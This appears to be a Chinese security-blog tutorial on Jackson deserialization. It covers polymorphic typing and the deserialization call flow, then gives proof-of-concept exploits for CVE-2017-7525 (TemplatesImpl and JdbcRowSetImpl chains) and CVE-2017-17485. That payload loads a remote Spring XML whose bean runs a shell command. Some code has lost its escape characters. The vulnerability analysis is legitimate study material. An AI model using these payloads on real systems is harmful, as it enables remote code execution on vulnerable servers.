Jackson介绍
Jackson是一个流行的Java库,用于处理JSON格式的数据。它提供了一组功能强大的工具,可以方便地在Java对象和JSON之间进行转换。以下是关于Jackson库的介绍:
Jackson库包括三个主要的模块:jackson-databind
、jackson-annotations
和jackson-core
。
-
jackson-databind
模块:这是Jackson库的核心模块,提供了将Java对象序列化为JSON格式以及将JSON格式反序列化为Java对象的功能。它包含了ObjectMapper
类,用于执行对象和JSON之间的转换操作,以及一些注解(如@JsonProperty
、@JsonIgnore
等),用于控制对象和JSON属性之间的映射关系。 -
jackson-annotations
模块:这个模块包含了一些用于对Java对象进行标记的注解,用于指示Jackson库如何处理对象的序列化和反序列化。这些注解使得开发人员可以在对象上方便地定义与JSON映射相关的信息,例如指定属性名、忽略某些属性等。 -
jackson-core
模块:这个模块提供了用于处理JSON数据的低级API,例如读取和写入JSON流、构建JSON树结构等。虽然大多数开发人员更倾向于使用jackson-databind
模块,但在一些特定的场景下,直接使用jackson-core
模块也是非常有用的。Jackson 功能很强大,既能满足简单的序列化和反序列化操作,也能实现复杂的、个性化的序列化和反序列化操作。到目前为止,Jackson 的序列化和反序列化性能都非常优秀,已经是国内外大部分 JSON 相关编程的首选工具。Jackson从 2.0 开始改用新的包名 fasterxml,1.x 版本的包名是 codehaus。除了包名不同,他们的 Maven artifact id 也不同。1.x 版本现在只提供 bug-fix,而 2.x 版本还在不断开发和发布中。如果是新项目,建议直接用 2x,即 fasterxml jackson。
Jackson使用
序列化
需要使用的是ObjectMapper类,ObjectMapper
是Jackson库中的核心类之一,它提供了在Java对象和JSON之间进行转换的方法。ObjectMapper
可以将Java对象序列化为JSON格式的字符串,也可以从JSON格式的字符串中反序列化出Java对象。使用ObjectMapper序列化对象需要用到如下三个方法,可以将类序列化成字符串/字节的形式
-
writeValue() -
writeValueAsString() -
writeValueAsBytes()
TestUser类如下:此时我们只有两个属性,分别是String类型的name以及int类型的age
package org.example;
public class TestUser {
public String name;
public int age;
public Object child;
public TestUser(String n,int a,Object o){
this.name=n;
this.age=a;
this.child=o;
}
public void setName(String n){
this.name=n;
}
public String getName(){
return this.name;
}
public void setAge(int a){
this.age=a;
}
public int getAge(){
return this.age;
}
public Object getChild() {
return child;
}
public void getChild(Object child) {
this.child = child;
}
}
序列化一个TestUser类,代码以及结果如下:
反序列化
依旧是使用ObjectMapper
类的readValue方法
坑1:如果此时TestUser没有无参构造方法,程序会报错,具体原因请看下文
Jackson的多态处理
多态就是不同类实现了同一个接口,对接口中的方法实现不同。
在Jackson中,JacksonPolymorphicDeserialization
是用于处理多态类型的反序列化的特性。如果一个JSON字符串包含了不同子类的对象,并且这些对象是在运行时动态决定的,则可以使用JacksonPolymorphicDeserialization
来反序列化这些对象。主要有以下两个方法
-
在父类中添加 @JsonTypeInfo
注解 -
在反序列化时使用ObjectMapper.enableDefaultTyping
在父类中添加@JsonTypeInfo
注解,该注解指示Jackson序列化和反序列化时应该包含哪些类型信息。例如,假设有一个名为Vehicle
的抽象类,它有两个子类Car
和Truck
,则可以在Vehicle
类上添加如下注解:
@JsonTypeInfo(
use = JsonTypeInfo.Id.NAME,
include = JsonTypeInfo.As.PROPERTY,
property = "type"
)
@JsonSubTypes({
@JsonSubTypes.Type(value = Car.class, name = "car"),
@JsonSubTypes.Type(value = Truck.class, name = "truck")
})
public abstract class Vehicle {
// ...
}
使用ObjectMapper.enableDefaultTyping
方法启用默认的类型处理机制。例如,假设我们有一个JSON字符串如下:
{
"type": "car",
"make": "Toyota",
"model": "Camry"
}
我们可以使用以下代码将其反序列化为Vehicle
类型的对象:
javaCopy CodeObjectMapper objectMapper = new ObjectMapper().enableDefaultTyping();
String json = "{"type":"car","make":"Toyota","model":"Camry"}";
Vehicle vehicle = objectMapper.readValue(json, Vehicle.class);
其中,DefaultTyping包函四个类型,分别如下:具体含义在源码的注释当中都有,就不再赘述
public enum DefaultTyping {
/**
* This value means that only properties that have
* {@link java.lang.Object} as declared type (including
* generic types without explicit type) will use default
* typing.
*/
JAVA_LANG_OBJECT,
/**
* Value that means that default typing will be used for
* properties with declared type of {@link java.lang.Object}
* or an abstract type (abstract class or interface).
* Note that this does <b>not</b> include array types.
*<p>
* Since 2.4, this does NOT apply to {@link TreeNode} and its subtypes.
*/
OBJECT_AND_NON_CONCRETE,
/**
* Value that means that default typing will be used for
* all types covered by {@link #OBJECT_AND_NON_CONCRETE}
* plus all array types for them.
*<p>
* Since 2.4, this does NOT apply to {@link TreeNode} and its subtypes.
*/
NON_CONCRETE_AND_ARRAYS,
/**
* Value that means that default typing will be used for
* all non-final types, with exception of small number of
* "natural" types (String, Boolean, Integer, Double), which
* can be correctly inferred from JSON; as well as for
* all arrays of non-final types.
*<p>
* Since 2.4, this does NOT apply to {@link TreeNode} and its subtypes.
*/
NON_FINAL
}
DefaultTyping类型 | 描述说明 |
---|---|
JAVA_LANG_OBJECT | 属性的类型为Object |
OBJECT_AND_NON_CONCRETE | 属性的类型为Object、Interface、AbstractClass |
NON_CONCRETE_AND_ARRAYS | 属性的类型为Object、Interface、AbstractClass、Array |
NON_FINAL | 所有除了声明为final之外的属性 |
Jackson反序列化流程分析
在readValue方法下断点,进入_readMapAndClose方法
public <T> T readValue(String content, Class<T> valueType)
throws IOException, JsonParseException, JsonMappingException
{
// !!! TODO
// _setupClassLoaderForDeserialization(valueType);
return (T) _readMapAndClose(_jsonFactory.createParser(content), _typeFactory.constructType(valueType));
}
接着在_readMapAndClose方法中获取了反序列化Config以及创建了反序列化上下文和deser,调用deser的deserialize方法
继续调用vanillaDeserialize方法
vanillaDeserialize中会调用_valueInstantiator.createUsingDefault(ctxt);
,我们来读一下createUsingDefault的注释:
Method called to create value instance from a JSON value when no data needs to passed to creator (constructor, factory method); typically this will call the default constructor of the value object. It will only be used if more specific creator methods are not applicable; hence "default". This method is called if getFromObjectArguments returns null or empty List.
在Jackson库中,当反序列化一个JSON对象时,需要将JSON值映射到Java对象上。其中一个重要的步骤是创建Java对象的实例。DefaultValueInstantiator
类就是负责创建Java对象实例的类。当在反序列化过程中需要创建Java对象实例时,Jackson会调用DefaultValueInstantiator
类中的createUsingDefault
方法来创建默认实例。
该方法的作用是从JSON值中创建Java对象实例,当没有任何数据需要传递到构造函数或者工厂方法中时,通常会调用值对象的默认构造函数来创建对象。如果没有更具体的创建方法,则该方法将被使用。
具体来说,如果在反序列化过程中没有从JSON值中提取出必要的参数值,或者获得的参数值为null或空列表,那么就会调用createUsingDefault
方法来创建Java对象的实例。
跟进createUsingDefault方法,调用_defaultCreator.call()
在call方法中调用_constructor.newInstance()
,newInstance是调用无参构造方法,这也就解释了上文中的坑1。
继续回到vanillaDeserialize方法,在do-while循环中依次获取属性名,调用deserializeAndSet
方法来解析并设置Bean的属性值。
跟进deserializeAndSet
方法,反序列化获得了值,并且调用_setter.invoke
方法,此时_setter
为对应属性名的Setter方法。
依次类推,到最后还会调用到属性当中类的Getter方法,这里直接拿下文TemplatesImpl链的图来展示。
Jackson反序列化漏洞前提
满足下面三个条件之一即存在Jackson反序列化漏洞:
-
调用了ObjectMapper.enableDefaultTyping()函数 -
对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.CLASS的@JsonTypeInfo注解 -
对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.MINIMAL_CLASS的@JsonTypeInfo注解
并且上文提到,会调用类的getter和setter方法,我们需要按照这个前提去进行构造我们的payload。
CVE-2017-7525
影响版本
FasterXML Jackson-databind < 2.6.7.1 FasterXML Jackson-databind < 2.7.9.1 FasterXML Jackson-databind < 2.8.9
TemplatesImpl链
上文提到,反序列化时会调用Object的setter和getter方法,熟悉CC3链的读者应该知道,从CC3这条反序列化链中我们可以调用TemplatesImpl的getOutputProperties来加载我们恶意类的字节码,因此我们可以直接构造JSON,含有一个OutputProperties属性,我们就可以直接利用了。
package org.example;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.newrelic.org.apache.axis.encoding.Base64;
import java.io.IOException;
public class CVE_2017_7525_tpl
{
public static void main(String[] args) throws IOException {
String exp = Base64.encode(ClassFileReader.readClassFile("/Users/ch1e/Desktop/Evil.class"));
String jsonInput = aposToQuotes("{"object":['com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',n" +
"{n" +
"'transletBytecodes':['"+exp+"'],n" +
"'transletName':'xxx',n" +
"'outputProperties':{}n" +
"}n" +
"]n" +
"}");
System.out.printf(jsonInput);
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
User user;
try {
user = mapper.readValue(jsonInput, User.class);
} catch (Exception e) {
e.printStackTrace();
}
}
public static String aposToQuotes(String json){
return json.replace("'",""");
}
}
但是其实真实环境中比较难以利用,因为只支持部分JDK7和8的版本,本文实际使用的版本为7u21,具体其他版本是否可用需要读者自行尝试。
具体原因也比较简单,在CC3中,需要设置一个_factory
属性,但是我们如果在payload中添加该属性,程序会报错:com.fasterxml.jackson.databind.exc.UnrecognizedPropertyException: Unrecognized field "_factory" (class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl), not marked as ignorable (5 known properties: "uriresolver", "transletBytecodes", "outputProperties", "transletName", "stylesheetDOM"])
说明Jackson不支持我们添加_tfactory
属性。
JdbcRowSetImpl链
上文说到会调用Getter和Setter方法,那么也可以使用JdbcRowSetImpl链来攻击,相比于TemplatesImpl,JdbcRowSetImpl因为jdk版本受到的限制比较少,具体版本如下,但是相比于TemplatesImpl,JdbcRowSetImpl需要目标服务器出网环境。
直接在setDataSourceName方法处下断点,调用父类setDataSourceName方法
在setAutoCommit中调用connect方法
在connect方法中,调用了InitialContext#lookup
方法,此时的datasourcename会被传入lookup方法当中。
CVE-2017-17485
影响版本
Jackson 2.7系列 < 2.7.9.2
Jackson 2.8系列 < 2.8.11
Jackson 2.9系列 < 2.9.4
ClassPathXmlApplicationContext链
在2.7.9.1版本中,加了反序列化类的黑名单,因此我们不得不找到新的链子。
https://github.com/FasterXML/jackson-databind/blob/jackson-databind-2.7.9.1/src/main/java/com/fasterxml/jackson/databind/deser/BeanDeserializerFactory.java
前面所提到的TemplatesImpl和JdbcRowSetImpl都是在getter当中触发的命令执行或者JNDI注入,ClassPathXmlApplicationContext链是在构造方法当中触发的Spel表达式注入。在构造方法中调用父类构造方法,这会一直调用下去,函数会进入到refresh方法当中
refresh方法它的作用是刷新应用上下文,也就是启动或刷新Spring容器,并加载或重新加载配置文件。其中有个关键的方法,finishBeanFactoryInitialization
方法完成Bean工厂的初始化,包括实例化所有非懒加载的单例bean,解决它们之间的依赖关系等。一直往上下,直到程序走到DefaultListableBeanFactory#preInstantiateSingletons方法,其中调用getBean方法从配置文件中获取Bean
堆栈如下:
start:1007, ProcessBuilder (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
execute:120, ReflectiveMethodExecutor (org.springframework.expression.spel.support)
getValueInternal:134, MethodReference (org.springframework.expression.spel.ast)
access$000:53, MethodReference (org.springframework.expression.spel.ast)
getValue:360, MethodReference$MethodValueRef (org.springframework.expression.spel.ast)
getValueInternal:89, CompoundExpression (org.springframework.expression.spel.ast)
getValue:110, SpelNodeImpl (org.springframework.expression.spel.ast)
getValue:270, SpelExpression (org.springframework.expression.spel.standard)
evaluate:163, StandardBeanExpressionResolver (org.springframework.context.expression)
evaluateBeanDefinitionString:1452, AbstractBeanFactory (org.springframework.beans.factory.support)
doEvaluate:266, BeanDefinitionValueResolver (org.springframework.beans.factory.support)
evaluate:223, BeanDefinitionValueResolver (org.springframework.beans.factory.support)
resolveValueIfNecessary:191, BeanDefinitionValueResolver (org.springframework.beans.factory.support)
applyPropertyValues:1613, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
populateBean:1357, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
doCreateBean:582, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
createBean:502, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
lambda$doGetBean$0:312, AbstractBeanFactory (org.springframework.beans.factory.support)
getObject:-1, 2068598972 (org.springframework.beans.factory.support.AbstractBeanFactory$$Lambda$10)
getSingleton:228, DefaultSingletonBeanRegistry (org.springframework.beans.factory.support)
doGetBean:310, AbstractBeanFactory (org.springframework.beans.factory.support)
getBean:200, AbstractBeanFactory (org.springframework.beans.factory.support)
preInstantiateSingletons:758, DefaultListableBeanFactory (org.springframework.beans.factory.support)
finishBeanFactoryInitialization:868, AbstractApplicationContext (org.springframework.context.support)
refresh:549, AbstractApplicationContext (org.springframework.context.support)
<init>:144, ClassPathXmlApplicationContext (org.springframework.context.support)
<init>:85, ClassPathXmlApplicationContext (org.springframework.context.support)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
call1:129, AnnotatedConstructor (com.fasterxml.jackson.databind.introspect)
createFromString:299, StdValueInstantiator (com.fasterxml.jackson.databind.deser.std)
deserializeFromString:1204, BeanDeserializerBase (com.fasterxml.jackson.databind.deser)
_deserializeOther:144, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:135, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_deserialize:110, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeTypedFromAny:68, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeWithType:554, UntypedObjectDeserializer$Vanilla (com.fasterxml.jackson.databind.deser.std)
deserialize:63, TypeWrappedDeserializer (com.fasterxml.jackson.databind.deser.impl)
_readMapAndClose:3807, ObjectMapper (com.fasterxml.jackson.databind)
readValue:2797, ObjectMapper (com.fasterxml.jackson.databind)
main:14, CVE_2017_17485 (org.example)
给上poc:
package org.example;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class CVE_2017_17485 {
public static void main(String[] args) {
//CVE-2017-17485
String payload = "["org.springframework.context.support.ClassPathXmlApplicationContext", "http://127.0.0.1:8000/spel.xml"]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
try {
mapper.readValue(payload, Object.class);
} catch (IOException e) {
e.printStackTrace();
}
}
}
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg>
<list>
<value>/bin/zsh</value>
<value>-c</value>
<value>open -a Calculator</value>
</list>
</constructor-arg>
<property name="whatever" value="#{ pb.start() }"/>
</bean>
</beans>
-END-
如果本文对您有帮助,来个点赞、在看就是对我们莫大的鼓励。
推荐关注:
团队全员均持CISP-PTE(注册信息安全专业人员-渗透测试工程师)认证,积极参与着各类网络安全赛事并屡获佳绩,同时多次高水准的完成了国家级、省部级攻防演习活动以及相关重报工作,均得到甲方的一致青睐与肯定。
原文始发于微信公众号(弱口令安全实验室):深入浅出解析Jackson反序列化
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论